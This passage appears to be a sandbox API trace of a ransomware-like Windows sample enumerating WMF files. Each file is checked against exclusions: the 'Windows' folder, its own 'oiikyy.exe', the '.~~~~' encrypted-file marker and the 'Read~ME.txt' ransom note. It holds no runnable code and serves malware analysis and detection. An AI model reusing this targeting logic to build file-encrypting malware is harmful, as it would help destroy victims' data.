	[0084.344] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1
	[0084.344] lstrcmpiW (lpString1="J0103262.WMF", lpString2="Windows") returned -1
	[0084.344] lstrcmpW (lpString1="J0103262.WMF", lpString2="oiikyy.exe") returned -1
	[0084.344] StrStrW (lpFirst="J0103262.WMF", lpSrch=".~~~~") returned 0x0
	[0084.344] lstrcmpW (lpString1="J0103262.WMF", lpString2="Read~ME.txt") returned -1
	[0084.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.345] GetCurrentThreadId () returned 0x618
	[0084.345] RtlWakeConditionVariable () returned 0x365f48
	[0084.345] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1
	[0084.345] lstrcmpiW (lpString1="J0103402.WMF", lpString2="Windows") returned -1
	[0084.345] lstrcmpW (lpString1="J0103402.WMF", lpString2="oiikyy.exe") returned -1
	[0084.345] StrStrW (lpFirst="J0103402.WMF", lpSrch=".~~~~") returned 0x0
	[0084.345] lstrcmpW (lpString1="J0103402.WMF", lpString2="Read~ME.txt") returned -1
	[0084.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.345] GetCurrentThreadId () returned 0x618
	[0084.345] RtlWakeConditionVariable () returned 0x365f48
	[0084.345] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1
	[0084.345] lstrcmpiW (lpString1="J0103812.WMF", lpString2="Windows") returned -1
	[0084.345] lstrcmpW (lpString1="J0103812.WMF", lpString2="oiikyy.exe") returned -1
	[0084.345] StrStrW (lpFirst="J0103812.WMF", lpSrch=".~~~~") returned 0x0
	[0084.345] lstrcmpW (lpString1="J0103812.WMF", lpString2="Read~ME.txt") returned -1
	[0084.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.345] GetCurrentThreadId () returned 0x618
	[0084.345] RtlWakeConditionVariable () returned 0x365f48
	[0084.345] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1
	[0084.345] lstrcmpiW (lpString1="J0103850.WMF", lpString2="Windows") returned -1
	[0084.345] lstrcmpW (lpString1="J0103850.WMF", lpString2="oiikyy.exe") returned -1
	[0084.346] StrStrW (lpFirst="J0103850.WMF", lpSrch=".~~~~") returned 0x0
	[0084.346] lstrcmpW (lpString1="J0103850.WMF", lpString2="Read~ME.txt") returned -1
	[0084.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.346] GetCurrentThreadId () returned 0x618
	[0084.346] RtlWakeConditionVariable () returned 0x365f48
	[0084.346] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1
	[0084.346] lstrcmpiW (lpString1="J0105230.WMF", lpString2="Windows") returned -1
	[0084.346] lstrcmpW (lpString1="J0105230.WMF", lpString2="oiikyy.exe") returned -1
	[0084.346] StrStrW (lpFirst="J0105230.WMF", lpSrch=".~~~~") returned 0x0
	[0084.346] lstrcmpW (lpString1="J0105230.WMF", lpString2="Read~ME.txt") returned -1
	[0084.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.346] GetCurrentThreadId () returned 0x618
	[0084.346] RtlWakeConditionVariable () returned 0x365f48
	[0084.346] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1
	[0084.346] lstrcmpiW (lpString1="J0105232.WMF", lpString2="Windows") returned -1
	[0084.346] lstrcmpW (lpString1="J0105232.WMF", lpString2="oiikyy.exe") returned -1
	[0084.346] StrStrW (lpFirst="J0105232.WMF", lpSrch=".~~~~") returned 0x0
	[0084.346] lstrcmpW (lpString1="J0105232.WMF", lpString2="Read~ME.txt") returned -1
	[0084.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.346] GetCurrentThreadId () returned 0x618
	[0084.346] RtlWakeConditionVariable () returned 0x365f48
	[0084.347] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1
	[0084.347] lstrcmpiW (lpString1="J0105234.WMF", lpString2="Windows") returned -1
	[0084.347] lstrcmpW (lpString1="J0105234.WMF", lpString2="oiikyy.exe") returned -1
	[0084.347] StrStrW (lpFirst="J0105234.WMF", lpSrch=".~~~~") returned 0x0
	[0084.347] lstrcmpW (lpString1="J0105234.WMF", lpString2="Read~ME.txt") returned -1
	[0084.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.347] GetCurrentThreadId () returned 0x618
	[0084.347] RtlWakeConditionVariable () returned 0x365f48
	[0084.347] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1
	[0084.347] lstrcmpiW (lpString1="J0105238.WMF", lpString2="Windows") returned -1
	[0084.347] lstrcmpW (lpString1="J0105238.WMF", lpString2="oiikyy.exe") returned -1
	[0084.347] StrStrW (lpFirst="J0105238.WMF", lpSrch=".~~~~") returned 0x0
	[0084.347] lstrcmpW (lpString1="J0105238.WMF", lpString2="Read~ME.txt") returned -1
	[0084.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.347] GetCurrentThreadId () returned 0x618
	[0084.347] RtlWakeConditionVariable () returned 0x365f48
	[0084.347] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1
	[0084.347] lstrcmpiW (lpString1="J0105240.WMF", lpString2="Windows") returned -1
	[0084.347] lstrcmpW (lpString1="J0105240.WMF", lpString2="oiikyy.exe") returned -1
	[0084.347] StrStrW (lpFirst="J0105240.WMF", lpSrch=".~~~~") returned 0x0
	[0084.347] lstrcmpW (lpString1="J0105240.WMF", lpString2="Read~ME.txt") returned -1
	[0084.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.348] GetCurrentThreadId () returned 0x618
	[0084.348] RtlWakeConditionVariable () returned 0x365f48
	[0084.348] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1
	[0084.348] lstrcmpiW (lpString1="J0105244.WMF", lpString2="Windows") returned -1
	[0084.348] lstrcmpW (lpString1="J0105244.WMF", lpString2="oiikyy.exe") returned -1
	[0084.348] StrStrW (lpFirst="J0105244.WMF", lpSrch=".~~~~") returned 0x0
	[0084.348] lstrcmpW (lpString1="J0105244.WMF", lpString2="Read~ME.txt") returned -1
	[0084.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.348] GetCurrentThreadId () returned 0x618
	[0084.348] RtlWakeConditionVariable () returned 0x365f48
	[0084.348] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1
	[0084.348] lstrcmpiW (lpString1="J0105246.WMF", lpString2="Windows") returned -1
	[0084.348] lstrcmpW (lpString1="J0105246.WMF", lpString2="oiikyy.exe") returned -1
	[0084.348] StrStrW (lpFirst="J0105246.WMF", lpSrch=".~~~~") returned 0x0
	[0084.348] lstrcmpW (lpString1="J0105246.WMF", lpString2="Read~ME.txt") returned -1
	[0084.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.348] GetCurrentThreadId () returned 0x618
	[0084.348] RtlWakeConditionVariable () returned 0x365f48
	[0084.348] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1
	[0084.348] lstrcmpiW (lpString1="J0105250.WMF", lpString2="Windows") returned -1
	[0084.348] lstrcmpW (lpString1="J0105250.WMF", lpString2="oiikyy.exe") returned -1
	[0084.349] StrStrW (lpFirst="J0105250.WMF", lpSrch=".~~~~") returned 0x0
	[0084.349] lstrcmpW (lpString1="J0105250.WMF", lpString2="Read~ME.txt") returned -1
	[0084.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.349] GetCurrentThreadId () returned 0x618
	[0084.349] RtlWakeConditionVariable () returned 0x365f48
	[0084.349] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1
	[0084.349] lstrcmpiW (lpString1="J0105266.WMF", lpString2="Windows") returned -1
	[0084.349] lstrcmpW (lpString1="J0105266.WMF", lpString2="oiikyy.exe") returned -1
	[0084.349] StrStrW (lpFirst="J0105266.WMF", lpSrch=".~~~~") returned 0x0
	[0084.349] lstrcmpW (lpString1="J0105266.WMF", lpString2="Read~ME.txt") returned -1
	[0084.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.349] GetCurrentThreadId () returned 0x618
	[0084.349] RtlWakeConditionVariable () returned 0x365f48
	[0084.349] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1
	[0084.349] lstrcmpiW (lpString1="J0105272.WMF", lpString2="Windows") returned -1
	[0084.349] lstrcmpW (lpString1="J0105272.WMF", lpString2="oiikyy.exe") returned -1
	[0084.350] StrStrW (lpFirst="J0105272.WMF", lpSrch=".~~~~") returned 0x0
	[0084.350] lstrcmpW (lpString1="J0105272.WMF", lpString2="Read~ME.txt") returned -1
	[0084.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.350] GetCurrentThreadId () returned 0x618
	[0084.350] RtlWakeConditionVariable () returned 0x365f48
	[0084.350] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1
	[0084.350] lstrcmpiW (lpString1="J0105276.WMF", lpString2="Windows") returned -1
	[0084.350] lstrcmpW (lpString1="J0105276.WMF", lpString2="oiikyy.exe") returned -1
	[0084.350] StrStrW (lpFirst="J0105276.WMF", lpSrch=".~~~~") returned 0x0
	[0084.350] lstrcmpW (lpString1="J0105276.WMF", lpString2="Read~ME.txt") returned -1
	[0084.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.350] GetCurrentThreadId () returned 0x618
	[0084.350] RtlWakeConditionVariable () returned 0x365f48
	[0084.350] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1
	[0084.350] lstrcmpiW (lpString1="J0105280.WMF", lpString2="Windows") returned -1
	[0084.350] lstrcmpW (lpString1="J0105280.WMF", lpString2="oiikyy.exe") returned -1
	[0084.350] StrStrW (lpFirst="J0105280.WMF", lpSrch=".~~~~") returned 0x0
	[0084.350] lstrcmpW (lpString1="J0105280.WMF", lpString2="Read~ME.txt") returned -1
	[0084.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.350] GetCurrentThreadId () returned 0x618
	[0084.350] RtlWakeConditionVariable () returned 0x365f48
	[0084.350] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1
	[0084.350] lstrcmpiW (lpString1="J0105282.WMF", lpString2="Windows") returned -1
	[0084.350] lstrcmpW (lpString1="J0105282.WMF", lpString2="oiikyy.exe") returned -1
	[0084.350] StrStrW (lpFirst="J0105282.WMF", lpSrch=".~~~~") returned 0x0
	[0084.350] lstrcmpW (lpString1="J0105282.WMF", lpString2="Read~ME.txt") returned -1
	[0084.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.350] GetCurrentThreadId () returned 0x618
	[0084.351] RtlWakeConditionVariable () returned 0x365f48
	[0084.351] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1
	[0084.351] lstrcmpiW (lpString1="J0105286.WMF", lpString2="Windows") returned -1
	[0084.351] lstrcmpW (lpString1="J0105286.WMF", lpString2="oiikyy.exe") returned -1
	[0084.351] StrStrW (lpFirst="J0105286.WMF", lpSrch=".~~~~") returned 0x0
	[0084.351] lstrcmpW (lpString1="J0105286.WMF", lpString2="Read~ME.txt") returned -1
	[0084.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.351] GetCurrentThreadId () returned 0x618
	[0084.351] RtlWakeConditionVariable () returned 0x365f48
	[0084.351] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1
	[0084.351] lstrcmpiW (lpString1="J0105288.WMF", lpString2="Windows") returned -1
	[0084.351] lstrcmpW (lpString1="J0105288.WMF", lpString2="oiikyy.exe") returned -1
	[0084.351] StrStrW (lpFirst="J0105288.WMF", lpSrch=".~~~~") returned 0x0
	[0084.351] lstrcmpW (lpString1="J0105288.WMF", lpString2="Read~ME.txt") returned -1
	[0084.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.351] GetCurrentThreadId () returned 0x618
	[0084.351] RtlWakeConditionVariable () returned 0x365f48
	[0084.351] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1
	[0084.351] lstrcmpiW (lpString1="J0105292.WMF", lpString2="Windows") returned -1
	[0084.351] lstrcmpW (lpString1="J0105292.WMF", lpString2="oiikyy.exe") returned -1
	[0084.351] StrStrW (lpFirst="J0105292.WMF", lpSrch=".~~~~") returned 0x0
	[0084.351] lstrcmpW (lpString1="J0105292.WMF", lpString2="Read~ME.txt") returned -1
	[0084.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.351] GetCurrentThreadId () returned 0x618
	[0084.351] RtlWakeConditionVariable () returned 0x365f48
	[0084.351] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1
	[0084.351] lstrcmpiW (lpString1="J0105294.WMF", lpString2="Windows") returned -1
	[0084.351] lstrcmpW (lpString1="J0105294.WMF", lpString2="oiikyy.exe") returned -1
	[0084.351] StrStrW (lpFirst="J0105294.WMF", lpSrch=".~~~~") returned 0x0
	[0084.351] lstrcmpW (lpString1="J0105294.WMF", lpString2="Read~ME.txt") returned -1
	[0084.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.352] GetCurrentThreadId () returned 0x618
	[0084.352] RtlWakeConditionVariable () returned 0x365f48
	[0084.352] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1
	[0084.352] lstrcmpiW (lpString1="J0105298.WMF", lpString2="Windows") returned -1
	[0084.352] lstrcmpW (lpString1="J0105298.WMF", lpString2="oiikyy.exe") returned -1
	[0084.352] StrStrW (lpFirst="J0105298.WMF", lpSrch=".~~~~") returned 0x0
	[0084.352] lstrcmpW (lpString1="J0105298.WMF", lpString2="Read~ME.txt") returned -1
	[0084.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.352] GetCurrentThreadId () returned 0x618
	[0084.352] RtlWakeConditionVariable () returned 0x365f48
	[0084.352] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1
	[0084.352] lstrcmpiW (lpString1="J0105306.WMF", lpString2="Windows") returned -1
	[0084.352] lstrcmpW (lpString1="J0105306.WMF", lpString2="oiikyy.exe") returned -1
	[0084.352] StrStrW (lpFirst="J0105306.WMF", lpSrch=".~~~~") returned 0x0
	[0084.352] lstrcmpW (lpString1="J0105306.WMF", lpString2="Read~ME.txt") returned -1
	[0084.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.352] GetCurrentThreadId () returned 0x618
	[0084.352] RtlWakeConditionVariable () returned 0x365f48
	[0084.352] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1
	[0084.352] lstrcmpiW (lpString1="J0105320.WMF", lpString2="Windows") returned -1
	[0084.352] lstrcmpW (lpString1="J0105320.WMF", lpString2="oiikyy.exe") returned -1
	[0084.352] StrStrW (lpFirst="J0105320.WMF", lpSrch=".~~~~") returned 0x0
	[0084.352] lstrcmpW (lpString1="J0105320.WMF", lpString2="Read~ME.txt") returned -1
	[0084.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.352] GetCurrentThreadId () returned 0x618
	[0084.352] RtlWakeConditionVariable () returned 0x365f48
	[0084.352] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1
	[0084.352] lstrcmpiW (lpString1="J0105328.WMF", lpString2="Windows") returned -1
	[0084.353] lstrcmpW (lpString1="J0105328.WMF", lpString2="oiikyy.exe") returned -1
